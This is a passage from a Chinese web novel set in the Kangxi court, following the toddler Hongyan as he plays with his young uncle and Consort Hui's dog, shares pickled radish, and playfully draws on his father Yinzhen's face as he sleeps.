胤祁听完了弘晏绘声绘色的讲述,那眼睛里立马对弘晏充满了崇拜之情。 随即,胤祁拽了拽康熙的龙袍,嚷嚷道:“汗阿玛,窝也要拔萝卜,拔大大的萝卜。” 话说完,胤祁的手松开了康熙的龙袍,转而在空中比划了一个比他个子还大的萝卜。 康熙随口应下:“好。” 这个老四,竟敢叫他的福宝顿顿吃萝卜,待他人来了,绝饶不了他。 “汗阿玛,拨萝卜,现在就要。” 胤祁的话将康熙的思绪拉了回来。 康熙摸了摸胤祁的小脑袋,转而看向了梁九功。 君父要言出必行,岂能让小儿失望呢。 梁九功心领神会,退了出去,再回来时,后面跟着的小太监抱进来了一个大花盆。 只是这花盆里并没有鲜花,而是现栽了一颗大白萝卜进去。 弘晏忍不住笑了。 皇玛法还真是有法子。 胤祁眼睛都亮了,哒哒的走到花盆面前,笑嘿嘿的抬起手摸向大白萝卜的肚子:“福宝,大萝卜。” 弘晏跟着走过去:“是啊,二十三叔,快上手拨吧。” 弘晏帮着胤祁将袖子撸上去,而后站到了一旁等着。 旋即,胤祁揪住了萝卜缨,身子往后仰去,刚一用力,那萝卜就从破土而出了。 胤祁激动道:“福宝,窝拨出来了。” 弘晏配合道:“二十三叔真腻害。” 花盆里的泥土蓬松,白萝卜压根没有深埋,轻轻一拽就能出来。 左不过是哄小娃娃的把戏,叫胤祁过把瘾也就是了。 第79章 第79章不亦乐乎 这厢,胤祁拎着大萝卜颠颠的朝着小榻上坐着的康熙走过去:“汗阿玛,瞧窝的萝卜。” 雪白的萝卜上还带着泥土的碎渣,康 熙笑道:“朕的小二十三真是勇武。” 胤祁过了拨萝卜的瘾,很是满足。 而梁九功在得到康熙的眼神指示之后,大手一挥,便有两个小太监进来将殿内清扫干净。 用完午膳,康熙继续批阅御案上堆积的奏折,两个小奶团子在屋子里闲不住,康熙便命两个御前的小太监带着胤祁与弘晏去御花园玩。 御花园的花品种多样且珍贵,有好多的花弘晏都没有见过呢。 “福宝,泥看这个花。”胤祁说着,就要伸手去采,却被弘晏一把抓住了。 唾手可得的花却采不得,胤祁迷茫又有些委屈的看向弘晏。 弘晏另一只手指了指那花枝,解释道:“二十三叔,上面有刺,扎手手。” 胤祁的目光寻着弘晏手指的方向看去,果然瞧见了那花枝上面长着一排排的小细刺。 胤祁赶忙将手收回去了。 弘晏抬眸看向了一旁跟着的御前小太监。 那小太监伶俐,立马将胤祁相中的这朵花采下双手捧给了胤祁。 胤祁脸上露出了笑,欢喜的接过花,埋头嗅了嗅,而后又将这花举到弘晏面前。 弘晏明白胤祁的意思,低头嗅了嗅:“好香的花。” 随后,弘晏拿起胤祁手上的这朵花,踮起双脚将花簪在了胤祁的耳朵边:“嘿嘿,真好看。” 胤祁闻言,抬起手小心翼翼的摸了摸耳朵边的花,而后说道:“福宝,窝给泥也戴一朵。” 弘晏一口应下:“好啊。” 胤祁望了望,眼前的花没有更好看的了,视线便朝远处望去,忽而,胤祁抬起了手:“福宝,那里花好看,窝们去那里。” 话说完,胤祁拉了弘晏的手,两个小奶团子朝前走去。 两个小太监则在后面跟着。 到了胤祁相中的花前,胤祁小手一指,那小太监立马上前去采花。 此时,一只白色的小京巴忽然从草丛里钻出来,朝着弘晏与胤祁喊道:“汪,汪。” 胤祁被突然出现的狗叫声吓到了。 当即就白了小脸,瘪着小嘴就要哭。 弘晏大步一迈,像老母鸡护崽般展开双臂,整个人挡在胤祁面前,脸色镇定,声音坚定:“二十三叔别怕,窝保护泥。” 出现在御花园的狗定然是哪个后妃养的,哪里会随意咬人。 胤祁见状,勇气从心底散发出来:“福宝,窝保护泥。” 话说着,胤祁又绕到了弘晏面前。 而那只白色的小京巴狗只叫了两声,就乖乖卧在两个小奶团子面前了。 难道方才叫那两声,是在给他和胤祁打招呼? 弘晏在心里思忖着。 这时,小太监出声道:“两位阿哥莫怕,这是惠妃娘娘养的狗,最是温顺,不咬人的。” 惠妃? 弘晏的大脑正在搜索惠妃这个人物。 下一瞬,惠妃的声音便响起来了:“栀子,你怎么跑这儿来了。” 卧在弘晏面前的小京巴听到主人的召唤,连忙跑过去了。 弘晏抬眸,瞧向朝着他走过来的惠妃。 惠妃面容慈祥,只是两鬓隐隐有银丝显现。 惠妃走过来后,名叫栀子的小京巴就追随着她,惠妃的脚步停了,栀子便也停了。 惠妃笑吟吟道:“哟,这不是小二十三嘛,这个是……” 惠妃看向了跟胤祁差不多大的弘晏,但从未见过。 御前小太监见状,出声介绍道:“惠妃娘娘,这是雍亲王第六子弘晏阿哥。” 原来是胤禛的儿子。 宫中有传闻说近来康熙很喜欢胤禛的小儿子,时常召进宫来,如今看来,传闻是真的了。 惠妃掩下思绪,嘴角噙着笑:“胤祁,不认得我了,我是你惠妃母,弘晏,我是你惠玛嬷。” 胤祁奶呼呼的唤道:“惠妃母。” 待胤祁说完,弘晏才拱起小手道:“见过惠玛嬷。” “好。”惠妃话音落下,脚边的小京巴却叫了起来:“汪,汪。” 胤祁见状,下意识地往弘晏身后躲。 惠妃笑得慈祥:“别怕,栀子这是想和你们玩呢。” 惠妃瞧见了弘晏眼中的疑惑,又解释道:“哦,它叫栀子,因着最爱闻栀子花的香味,便给它取了这个名字,你们可以摸摸它。” 栀子许是听懂了惠妃的话,下一瞬便卧了下去。 弘晏见状,便上前两步,伸出小手摸了摸栀子的毛发,而栀子就一动不动地任由弘晏摸着。 弘晏笑了:“嘿嘿,好乖啊。” 也好软啊。 弘晏扭过脸看向胤祁:“二十三叔,你也来摸摸。” 栀子许是听懂了弘晏的话,也抬眼看向了胤祁。 胤祁与栀子对视后,方才鼓起的勇气消失的无影无踪,便摇了摇小脑袋,可瞧着栀子又好像很好摸的模样,怯怯的眼神中又带着些许渴望。 弘晏读懂了胤祁的眼神,便起身拉过胤祁的手:“二十三叔,窝在,别怕。” 而后,弘晏将胤祁的手放在了栀子的毛发上,便松开了自己的手。 胤祁的小手不敢动,一张小脸很是严肃,而一双眼睛更是时刻观察着栀子的动静。 而栀子一动不动地给了胤祁信任,于是,胤祁开始给栀子顺毛,小脸渐渐的也放松下来,露出了笑容。 惠妃见两个小娃娃同栀子相处的不错,出声道:“我们栀子最喜欢捡球了,胤祁、弘晏,你们可要一起玩?” 两个小娃娃不约而同的点了点小脑袋。 惠妃叫身旁跟着的宫女把小木球拿过来,随即往远处一扔,便见栀子哒哒的跑过去,用嘴将木球叼了回来,规规矩矩的放在了地上。 弘晏眼睛瞬时就亮了:“惠玛嬷,窝想玩。” 惠妃刚才本就是给两个小娃娃做了个示范,闻此言,便俯身捡起木球递给了弘晏。 弘晏一拿到木球,栀子的眼神便追随着弘晏。 弘晏晃了晃手中的木球,而栀子的眼珠也跟着转,忽而,弘晏将木球抛了出去,下一瞬,栀子便跟着冲出去。 眼瞧着那木球滚落进草丛里,弘晏还有些担忧,可下一瞬,栀子便叼着木球从草丛里跑了过来,将木球放在了弘晏面前。 弘晏捡起木球,转而交给了胤祁:“二十三叔,泥来。” 胤祁接过了木球,对着栀子道:“紫紫,看这里。” 弘晏闻此言,扭过小脸儿纠正道:“二十三叔,它叫芝芝,不叫紫紫。” 惠妃笑道:“弘晏,你也错了,是栀子。” 胤祁跟着说道:“对呀,福宝,是紫紫。” 弘晏摇了摇小脑袋,一本正经道:“不对,二十三叔,你还是错了,是芝芝。” 惠妃:“……” 两个都是错误答案的小娃娃在争什么对错呢。 惠妃赶忙道:“好了,胤祁,快扔球吧。” 胤祁一扭脸,才瞧见栀子已经眼巴巴等很久了,便用力将木球抛出去了。 弘晏与胤祁玩了几个来回后,两个御前的小太监你看我我看你,最终一起齐声道:“惠妃娘娘,两位阿哥出来有些时辰了,奴才们该带两位阿哥回乾清宫去了。” 惠妃笑道:“也好,本宫也该回去了。” 既然是御前的人带着胤祁与弘晏玩耍,是该早些回去了。 弘晏正在兴头上,还有些舍不得。 惠妃瞧出了弘晏的心思,笑道:“弘晏,你若喜欢与栀子玩,下次进宫可以来延禧宫坐坐。” 弘晏一口答应:“好啊。” 随后,弘晏与惠妃挥手拜拜之后,便与胤祁一起往乾清宫去了。 惠妃则目送着弘晏远去。 难怪康熙喜欢弘晏,玉雪可爱又懂事的小娃娃又有谁会不喜欢呢。 明明与胤祁同岁,可瞧着弘晏方才的一言一行,好像他才是当叔叔的,一直体贴的照顾着小侄子胤祁。 她的儿子胤褆因先太子被废之后,争夺储位而被康熙所厌弃,削爵幽禁于府第,虽说性命无虞,可母子再难相见,她如今这般年岁,也不奢望圣宠了,这才养了只小京巴,叫冷冷清清的延禧宫能多几分生 气。 惠妃掩下思绪:“栀子,咱们回去吧。” 她很久没有这般开怀了。 惠妃迈起步子,栀子便跟着走了。 这厢,弘晏与胤祁回了乾清宫,两个小太监便拿了澡豆给二人好好洗干净了手。 胤祁从铜盆里的倒影,看清楚自己的小脸儿之后,才发现了自己空空的耳朵:“福宝,花花掉了。” 弘晏闻言,安慰道:“没事哒,二十三叔,窝们可以再采。” 大概是他们两个与栀子玩的时候,花从胤祁的耳朵边掉下去的。 胤祁点了点小脑袋。 下次他要先给弘晏的耳朵边簪上一朵。 康熙批阅奏折也累了,如今两个小娃娃回来,他也好松快松快。 “福宝,小二十三,在御花园玩什么了?”康熙笑着问道。 随即,两个小娃娃叽叽喳喳的向康熙陈述了在御花园发生的事情。 虽然有些字听不清也听不懂,但是康熙大概是明白了。 他们在御花园遇上了带小京巴出来赏花的惠妃,而且还和小京巴玩得不亦乐乎。 康熙问道:“饿不饿?” 两个小娃娃不约而同的点了点小脑袋。 康熙便命人端来了两碗热牛乳,一人一碗。 两个小娃娃喝饱了就坐到临窗小榻上面玩玩具,可能是在御花园耗费了太多的精力,很快,两个小娃娃都打起了瞌睡虫。 康熙见状,两只胳膊一左一右的抱起弘晏与胤祁走进了西暖阁,将两个小娃娃安置好之后,康熙留了个小太监照看两个小娃娃午睡,便又出去处理政务去了。 第80章 第80章无理取闹 不多时,魏珠进门禀报:“皇上,雍亲王在外等候。” 康熙将眼前摊开的这份折子的最后一笔朱批落下,方道:“叫他进来。” “嗻。”魏珠应声退下。 少顷,胤禛进门打千儿道:“给汗阿玛请安。” 余光不见弘晏的身影,胤禛有些狐疑。 “起身吧。”康熙说完,端起御案上的青花瓷茶盏饮了一口。 “老四,朕听福宝说,他在雍亲王府日日吃萝卜,可有其事啊?”康熙话说完,将青花瓷茶盏放回到御案上,转而抬眸望向胤禛。 胤禛闻此言,颔首道:“回汗阿玛,乃是福宝爱食萝卜。” 这便是确有其事了。 康熙眸子眯了眯,语气有些不悦:“老四,你向往田园之乐,带着福宝拨萝卜体验农桑倒也是好的,只是,福宝年幼,正是长身体的时候,岂能日日食萝卜,幼儿无知,你这个做阿玛的竟也不上心吗?” 最后一句话落,尽显责怪之意。 胤禛闻言,忙拱手道:“儿臣不敢,福宝虽日日食萝卜,但并非只食萝卜,汗阿玛瞧着福宝白胖康健便可知了。” 这小家伙,他不在的时候,都往御前说了些什么乱七八糟的。 康熙听完胤禛的话,语气温和了不少:“朕抱着福宝是比前些日子重了些,也高了些,罢了,福宝在西暖阁睡下了,你这便抱他回府吧。” “嗻。”胤禛说完,便迈步进了西暖阁。 在西暖阁守着的小太监行礼过后,将位置让出来,胤禛走近瞧见了弘晏睡得香甜,令他意外的是,胤祁竟然也在。 小太监压低声音解释道:“四爷,皇上特意接二十三阿哥过来与弘晏阿哥作伴。” 胤禛闻言,点了点头。 汗阿玛对福宝也真是上了心的。 胤禛掀开小被子,将弘晏抱在怀里。 小家伙许是感应到了什么,吧唧了一下嘴巴。 胤禛见状,嘴角翘了翘。 而后,胤禛便抱着弘晏出宫去了。 回了雍亲王府,胤禛抱着弘晏一直到了正院里,弘晏也没醒,乌拉那拉氏接过弘晏便进了内室,将弘晏安置在了拔步床上。 黄昏时分,弘晏从拔步床上醒来,瞧着周围的陈设还有立着的王乳娘,方知自己已然回了正院。 不用想,定然是便宜阿玛将他接回来的。 不过,他睡得也太沉了些,竟然一点儿记忆都没有。 王乳娘给弘晏穿戴洗漱好后,弘晏便迈着小步子出来了:“额凉。” 乌拉那拉氏将手上的针线活儿放下,走过去俯身将弘晏抱起来,贴了贴弘晏的小脸儿:“睡醒了。” 弘晏去了皇宫不过半日,乌拉那拉氏便想得厉害了。 无他,只弘晏不在,正院太清净了些,她也不适应。 “额凉~”弘晏软糯糯的喊完,小脑袋便靠在了乌拉那拉氏的肩上撒起娇来。 乌拉那拉氏抱着弘晏重新坐到了小榻上:“给额娘讲讲,在皇宫都做什么了?” 乌拉那拉氏问起,弘晏可是有一箩筐的话要说,刚准备讲,胤禛就跨过门槛进来了。 见着胤禛来,乌拉那拉氏吩咐流萤去备膳,而后夫妻两个都静静地听着弘晏讲今日在皇宫的见闻。 弘晏讲起故事来眉飞色舞,不自觉的就用两只手跟着比划,可在乌拉那拉氏的怀里弘晏施展不开手脚,便从乌拉那拉氏怀里出来,站在地上后,手舞足蹈的讲下去。 待讲完了在皇宫的见闻,弘晏哒哒跑过去晃着乌拉那拉氏的手:“额凉,额凉,窝要给惠玛嬷、二十三叔酱萝卜。” 乌拉那拉氏眉眼带笑:“好,额娘让人备好了,明日一早就送进宫里去。” 此时,流萤迈步进来:“爷,福晋,可要摆膳?” 乌拉那拉氏看向了胤禛。 胤禛颔首:“摆膳吧。” 十几道菜摆满了八仙桌,弘晏扫了一眼,看着流萤疑问道:“萝卜嘞?” 胤禛出声道:“你今日在皇宫吃了不少萝卜了,晚上便别吃了。” 弘晏转而看向胤禛,鼓了鼓小嘴:“要吃,要吃。” 话说完,弘晏又对着乌拉那拉氏哼唧道:“额凉~” 乌拉那拉氏出声替弘晏争取:“福宝白日吃的已然消化,晚上再吃一两口也无大碍。” 胤禛看向乌拉那拉氏:“福宝爱吃萝卜,连累我挨了汗阿玛一顿训,认为我对幼子苛刻。” 嘿嘿,原来便宜阿玛是被皇玛法教训了啊。 胤禛的余光发现了偷笑的弘晏:“你还笑?” 弘晏理直气壮道:“阿玛不给吃,窝告皇玛法。” 胤禛闻此言,眉头一挑:“你是有靠山了,威胁起你阿玛来了?” 远水救不了近火,他下次进宫还得仰仗便宜阿玛带他去呢,怎么能得罪人呢。 弘晏眼睛珠子转了转,又笑嘻嘻的拍起马屁来:“阿玛,好阿玛,阿玛好,要萝卜。” 弘晏这小脸变得极快,倒是逗笑了胤禛,便吩咐流萤拿一小碟酱萝卜来。 有了酱萝卜下饭,弘晏美滋滋的吃了一顿。 而皇宫这边,待胤祁醒后,康熙便抱着胤祁去了他额娘石庶妃的宫殿用膳就寝。 —— 一日后,早朝散了,胤禵三步并作两步的撵上了要出宫的胤禛,语气有些不爽:“四哥府上做的酱萝卜爽口解腻,汗阿玛有,额娘有,老十三有,听闻昨日惠妃母与小二十三都有了,莫不是四哥府上的奴才连我十四贝子府的路都不认得了?” 胤禛瞧着胤禵只觉得幼稚,淡声道:“你若想要,回去便派人送到你府上。” 胤禵哼道:“谁说我想要了,萝卜而已,又不是没吃过。” 胤禛无语的望了无理取闹的胤禵一眼,兀自走快了。 胤禵加快步子又撵上去:“四哥,我话还没说完,你走那么快作甚?” 胤禛有些烦了,停下了脚下的步子,直勾勾的看向胤禵:“快说。” 胤禵见胤禛对他没了耐性,直接问道:“给惠妃母与小二十三送酱萝卜可是四哥你的意思?” 他还以为胤禵有什么正经事。 胤禛答道:“福宝的意思。” 胤禵听了这话,语气有些酸,酸中又带着些许不满:“听闻福宝进宫与小二十三不过玩了半日,便惦记着给小二十三送酱萝卜,那怎未给我家弘明、弘暟送?” 胤禛忽略他这个亲弟弟,胤禛的儿子自然也有样学样忽略他的两个儿子。 亏他的两个傻儿子还想着何时再同福宝玩耍。 两岁多的娃娃就算一时不能周全,那胤禛这个做阿玛的也该一碗水端平才是。 不然,就是胤禛压根就没有想过要给他送。 胤禛顿了顿,只道:“回去我便让苏培盛将腌制酱萝卜的方子送到你府上。” 胤禵 惊诧道:“你府上有现成的,我干嘛舍近求远?” 胤禛勾了勾嘴角,迈着步子走远了。 胤禵面上是在为两个儿子鸣不平,实则是借小辈类比他们兄弟俩罢了。 若非汗阿玛喜食酱萝卜,使这平平无奇的酱萝卜有了名声,他就算提早巴巴地将酱萝卜送去了十四贝子府,胤禵怕还嫌他出手寒酸小气呢。 胤禛走远了,胤禵才反应过来自己着了胤禛的道。 不过,他今日张口就是讨酱萝卜来了,他倒是要瞧瞧这区区的酱萝卜有何过人之处。 这厢,胤禛回府后去了正院,嘱咐乌拉那拉氏再装好几份儿酱萝卜分别送去延禧宫和十四贝子府。 惠妃上了年岁,大鱼大肉吃腻了,得了这酱萝卜配清粥倒是合胃口的紧。 乌拉那拉氏出声道:“说到底还是该感谢汗阿玛才是,他老人家喜欢,旁人自然也动心思了。” 弘晏哒哒跑过去,骄傲的挺起了小胸膛:“还有窝,不是窝,阿玛又怎会让人种萝卜。” 乌拉那拉氏闻言,“噗呲”笑了。 胤禛则将弘晏抱到了腿上,配合道:“是啊,多亏了我们福宝。” —— 而此时的永和宫内,德妃才命岚竹将前几日雍亲王府送来的酱萝卜打开了。 德妃尝了一口,果然爽口,怪不得康熙喜欢。 筷子放下后,德妃拿着帕子擦了擦嘴角。 山珍海味吃惯了,清粥小菜自然格外新鲜。 只是老四大费周章的往乾清宫送了这开胃的酱萝卜,又让弘晏这孩子得了圣心,怕是野心大着呢。 小宫女进门在岚竹耳边低语了几句,便退下了。 岚竹又对着德妃言简意赅的禀报了。 德妃闻言,无奈道:“这个老十四,讨什么酱萝卜,该学老四的谋略才是。” 岚竹闻言,劝道:“娘娘,十四爷一向耿直,更重情义,连皇上也夸咱们十四爷勇武直爽呢。” 德妃哼道:“重情义?如今老十四不就叫罗氏那个狐媚子给迷住了。” 岚竹压低声音道:“娘娘放心,奴婢已然按您的指示办了,那罗格格绝无再有孕的可能。” 德妃心头这才舒畅了许多。 那罗氏抚养了弘映,已然是胤禵格外给的恩惠了,若再叫她有了亲子嗣,那罗家可就死死的攀附上胤禵了。 等到来年选秀之时,她就向康熙进言,届时康熙赐了新人进府,胤禵自然而然就淡了罗氏了。 毕竟,男人一惯是喜新厌旧的。【你现在阅读的是 】 80-90 第81章 第81章大功告成 秋去冬来,很快到了年底。 康熙忙完手头上的政事,得了闲,摆驾去了上书房考校皇子们的功课。 考校完了一众皇子,康熙也想瞧瞧一众皇孙们的课业水平,便命梁九功传旨下去,明日巳时于乾清宫内考校众皇孙的学问。 消息传到了雍亲王府,胤禛立即将弘时叫到了书房。 旁的府上有几个阿哥前去与他无关,可他雍亲王府开始读书习字的阿哥唯有一个弘时,是以,弘时此去一点儿差错都不能有。 弘时知道了自己要进宫接受考校的消息,整个人直接就呆住了。 胤禛瞧着弘时这幅样子,心里便来了火气,还未上战场,就已然露了败相。 胤禛耐着性子嘱咐了弘时一些需要注意的事项后,便叫弘时回去复习功课了。 能对答如流固然最好,若不能,临场反应与仪态也能挽救几分。 碧波苑的李侧福晋知道了这消息,高兴极了,若是弘时能得康熙的夸奖与青眼,那还怕没有好前程不成。 左右还有半天的时间,李侧福晋命下人熬了补汤,经过胤禛的允许后,在前院陪着弘时温习了一下午的功课。 待到晚上,母子两个一起用了晚膳,李侧福晋便起身要回碧波苑去了。 弘时见李侧福晋要走,立马站起来喊道:“额娘。” 李侧福晋扭过身子,疑惑道:“怎么了,弘时?” 弘时迈步走过去,出声唤道:“额娘,我怕。” 阿玛对他寄予厚望,他怕自己达不到阿玛的期许,更怕自己回答不上来皇玛法的问题,给阿玛丢人,给整个雍亲王府丢脸。 李侧福晋闻此言,眉头一拧,抬起右手食指戳了戳弘时的脑门:“你呀你,怕个什么劲。” 她若能进宫面圣,欢喜都欢喜不过来呢。 李侧福晋话音落下,只见弘时抿着唇,满脸都写着不安。 随即,李侧福晋双手扶上弘时的肩膀,语重心长道:“弘时,明日进宫的皇孙那么多,你若能拔得头筹,给雍亲王府挣了光,你便是你阿玛的骄傲,额娘的后半辈子可就指着你了呀。” 弘时抬眸迎着李侧福晋那满载希望的眼神,坚定道:“额娘,我会争气的。” 李侧福晋笑了,双手转而又捧上了弘时的脸:“这才是额娘的好儿子,弘时,今日早些睡,明日可别晚了时辰。” 弘时点了点头:“额娘慢走。” 待到翌日,弘晏在正院的屋子里骑摇摇马,便见银烛风风火火的小步子进来,行至小榻前禀报道:“福晋,王爷正在前院书房训三阿哥呢,发了好大的火气。” 弘晏一听这话,立马看向了银烛。 乌拉那拉氏抬眸问道:“怎么回事?” 银烛如实说道:“具体的奴婢也不清楚,好像是三阿哥进宫面圣时,因为太过紧张,回答皇上的问题时竟结巴了起来,惹了好大的笑话。” 胤禛在前院书房里大发雷霆,苏培盛都被关在门外,又有谁敢靠近呢。 末了,银烛又道:“福晋可要去劝劝?” 乌拉那拉氏不答反问:“李氏呢?” 不待银烛答话,院子里已然响起了给胤禛请安的声音。 银烛立马退到一旁侯着。 下一瞬,只见胤禛怒气冲冲的进来,黑着脸坐在了小榻的另一侧。 流萤将一盏热茶放到矮桌上,便立马退到一旁,与银烛一同站着了。 胤禛虽一言不发,但脸色骇人的紧。 乌拉那拉氏正欲开口劝和,便见弘晏从摇摇马上下来,哒哒的走到胤禛面前,将掌心摊开给胤禛瞧,那小掌心里俨然放着一片桃脯。 原是乌拉那拉氏给弘晏做了一个小荷包挂在身上,专放零嘴小食儿用的。 胤禛的视线从掌心上的桃脯落在弘晏身上,弘晏才忽闪着大眼睛,奶呼呼道:“阿玛,桃脯甜,心情好。” 见着弘晏,胤禛脸色好看了不少,伸手拿过桃脯放进嘴里咀嚼,转而一把将弘晏抱到了怀里坐着。 桃脯咀嚼完,胤禛哼道:“弘时若有福宝半分懂事,爷也不必生气了。” 乌拉那拉氏出声道:“弘时也是想为爷争光呢。” 胤禛嗤道:“争光?他将爷的脸都丢尽了,到了御前,当着那么多人的面,竟舌头打结,胡言乱语一通,若不是汗阿玛有意周全,爷今日便没脸见人了。” 这时,苏培盛进来观着胤禛的神色,还是硬着头皮禀报:“爷,李侧福晋带着三阿哥跪在外面侯着,想要见爷。” 胤禛皱着眉,眼里满是厌弃,喝道:“叫她们母子回去,若再哭闹,就别想出碧波苑的门。” 昨日李氏来求他,想要陪伴弘时温书,他念着李氏一片慈母心肠便应了。 如今,母子俩温书就温出这么个笑话来。 又闻弘时补汤喝了几碗,想是那补汤只入了肠子,压根没进脑子。 苏培盛闻此言,打千儿道:“嗻。” 弘晏见胤禛又紧蹙着眉头,便举起小手放在胤禛的胸口上,边抚摸边道:“阿玛,不气,不气。” 胤禛见状,抬手摸了摸弘晏的小脸蛋儿。 随即,胤禛饮了口热茶,润了润嗓子,又对着门外唤道:“苏培盛。” 下一瞬,苏培盛弓着腰进来:“奴才在。” 胤禛朗声道:“告诉钮祜禄氏和耿氏,过了年弘历与弘昼便搬去前院读书,叫她们好生准备。” 苏培盛应声退下:“嗻。” 胤禛转而又看向了怀里的弘晏。 这一对视,弘晏有种不好的预感。 果然,下一秒弘晏就听见胤禛说道:“福宝,过了年,你也该启蒙了。” 弘晏:“???” 便宜阿玛今日果真是受刺激了,弘时这个大号练费了,便要练他们三个小号了?! 胤禛瞧着弘晏迷茫又错愕的眼神,眉头一挑,指腹在弘晏的脸蛋儿上蹭了蹭:“怎么?你也不想读书?” 弘晏忽闪着眼睛,撅着小嘴道:“窝还小。” 话说完,弘晏便挣扎着从胤 禛怀里下去,哒哒的跑向了乌拉那拉氏。 乌拉那拉氏自是知晓弘晏的意思,俯身将弘晏抱到怀里,看向胤禛说道:“爷,福宝还不满三岁呢。” 胤禛端起了茶盏:“过了年,便三岁了。” 该是启蒙的年纪了。 弘晏一本正经的比出两个小手指头,言道:“生辰还没过,不算。” 胤禛饮茶的动作一顿,抬眸笑道:“你倒是明白。” 此时,苏培盛进门又禀道:“爷,十三爷来了,在前院书房呢。” 胤禛将手上的茶盏放回到矮桌上,站起身便迈步出去了。 苏培盛朝着乌拉那拉氏颔首过后,便跟着胤禛去了。 —— 前院书房,胤祥正在喝茶,见胤禛进来,便起身唤道:“四哥。” 胤禛拍了拍胤祥的肩膀,转而坐下说道:“十三弟可是宽慰我来了?” 胤祥只道:“冬日里吃锅子虽暖和但并不新奇,我得了两条上好的鲈鱼,再配上我酿的梅花酒最好。” 胤禛笑了,遂喊道:“苏培盛。” 苏培盛接过跟着胤祥的小太监手里的两条鲈鱼,颔首道:“奴才这就去传膳。” 胤禛邀请道:“十三弟,你我对弈一局。” 胤祥起身道:“正有此意。” 正院这边,乌拉那拉氏与弘晏正在用膳,小喜子进门打千儿道:“给福晋请安,给六阿哥请安。” 乌拉那拉氏言道:“起来吧。” “福晋,十三爷带来两条上好的鲈鱼,爷让厨上做了,想着福晋与六阿哥用午膳,便叫奴才送来一条。”小喜子话音落下,身后跟着的小太监便上前,将食盒里的这道清蒸鲈鱼放在了八仙桌上,而后又退回了小喜子身后。 小喜子打千儿道:“福晋、六阿哥慢用,奴才告退。” 乌拉那拉氏一个眼神过去,银烛便将小喜子送了出去。 难为便宜阿玛还想着他,弘晏张口道:“额凉,窝要吃鱼。” “好。”乌拉那拉氏应下后,便叫王乳娘把挑好刺的鱼肉喂给弘晏。 这鲈鱼肉质鲜美,真是好吃。 弘晏咀嚼完,对着王乳娘喊道:“乳凉,窝还要鱼肉。” 一顿午膳吃完,乌拉那拉氏从银烛口中得知胤祥已然回府了,而胤禛喝多了酒在前院书房歇下了。 乌拉那拉氏便叫银烛熬一碗醒酒汤送去前院。 弘晏闻言,自告奋勇道:“额凉,额凉,窝去送。” 乌拉那拉氏贴了贴弘晏的小脸蛋儿:“好,你去送。” 醒酒汤用食盒装好,由王乳娘拎着,弘晏便带着王乳娘出发去前院了。 待到了书房外,苏培盛迎上来唤道:“六阿哥这是?” 弘晏眨了眨眼睛:“苏苏,窝给阿玛送醒酒汤。” 苏培盛弓着身子道:“六阿哥,爷已然睡下了。” 弘晏歪了歪小脑袋:“那窝进去看看阿玛。” 苏培盛迟疑片刻,随即笑道:“是,阿哥便一人进去吧。” 爷一向宠爱六阿哥,儿子要见老子,他哪有拦着的道理。 若是六阿哥一人进去,不甚吵醒了爷,爷也不会说些什么的,更不会训斥他。 话音落下,苏培盛就让开了路,小喜子则将门给打开了。 弘晏迈着小碎步子进去,跨进了内室,走向拔步床,双脚踩在脚踏上,身子往前伸去,才瞧清楚了熟睡着的胤禛。 熟睡着的胤禛也是面无表情,不过,脸好像有些红。 弘晏抬手摸了摸胤禛的脸,皮肤不算光滑,还有些烫。 应该是喝多了酒的缘故。 自己吃了便宜阿玛送来的鱼,才颠颠的跑来给他送醒酒汤的,可便宜阿玛睡得这么死,自己白跑了一趟。 弘晏撅了撅小嘴巴,有些不满。 一想到过完年,不满三周岁的自己就要启蒙了,弘晏更气了,对着胤禛这张脸哼了哼。 刹那间,一个大胆的想法在弘晏心里诞生了。 现在可是千载难逢的好机会。 弘晏打定主意,又去了外间,顺着椅子腿手脚并用的爬上了书案后的圈椅,在圈椅上站稳后,弘晏又弯着身子拿了胤禛的狼毫笔往未盖的砚台里沾满了墨汁。 随后,弘晏先将狼毫笔竖靠着圈椅的把手,而后手脚并用的顺着另一边的圈椅把手爬下来,待在地面站稳后,弘晏踮着脚成功拿到狼毫笔,转而进了内室,走近拔步床,双脚踩上脚踏,转而举起狼毫笔开始在胤禛脸上作画。 大功告成之后,弘晏忍不住偷笑,又将狼毫笔放在了床底下毁尸灭迹。 最后,弘晏大摇大摆的出了书房。 苏培盛见弘晏进去有一会儿了,便问道:“六阿哥,可是爷醒了?” 弘晏一本正经的对着苏培盛比了个“嘘”的手势:“苏苏,阿玛睡得香,不要打扰他。” 苏培盛连连点头。 第82章 第82章捉拿凶手 嘱咐完苏培盛,弘晏放心的带着王乳娘离开了胤禛的书房。 不过,弘晏并未直接回正院,而是改步去了弘时的屋子。 弘晏迈着小步子上了石阶来到屋檐下,便直接进了屋子。 弘时此时正奋笔疾书的写着胤禛罚他抄的文章,压根没有注意到有人进来。 弘晏走到书案旁,脆生生的喊道:“三锅锅。” 弘时笔下一顿,转而扭脸看向弘晏,满是意外:“福宝?你怎么来了?” 弘晏这时才瞧清楚了弘时的两只眼睛肿得像核桃一样,怕是被便宜阿玛训哭了。 弘晏散发出萌萌的笑:“看泥啊。” 弘时愣住了。 从皇宫回到雍亲王府后,阿玛大发雷霆,额娘跟着哭哭啼啼也不忘斥责他无用,难得还有人敢靠近他,真心实意的安慰他。 可是,弘时不愿将脆弱的自己展示在比他小的弘晏面前,只道:“我?我没什么好看的,你快回去吧。” 弘晏没答,低着头从荷包里拿出来一颗粽子糖递给弘时。 弘时瞧着那摊开的小掌心中的粽子糖,一抬眸,又看见弘晏亮晶晶的眼睛。 弘时伸手拿起粽子糖放进了嘴里,甜丝丝的味道从舌尖蔓延。 弘时露出一抹笑,抬手摸了摸弘晏的小脑袋:“好福宝,好弟弟,快回去吧,三哥没事。” 弘晏点了点小脑袋,给弘时挥手拜拜之后,便迈出了屋子,带着王乳娘打道回正院。 屋内,乌拉那拉氏瞧见弘晏与拎着食盒的王乳娘迈步进来,便将手上的绣绷放回笸箩里,转而问道:“福宝,不是给你阿玛送醒酒汤吗?怎么又拎回来了?” 弘晏走到乌拉那拉氏面前,答道:“阿玛睡了。” 弘晏说完,脑海中不觉浮现出胤禛那张脸,忍不住笑了。 乌拉那拉氏见状,俯身将弘晏抱到了腿上坐着,柔柔笑问:“你呀,笑得这么开心,又去哪玩了?” 既然胤禛在书房睡下了,那弘晏早该回来了。 在外耽搁了这么久,定是玩去了。 弘晏眨巴了眨巴眼睛:“窝去看三锅锅了。” 他说的可是实话,他确实去了弘时的屋子。 乌拉那拉氏听到这话,倒是有些意外,意外中又带着些许欣慰,遂摸了摸弘晏的小脸儿。 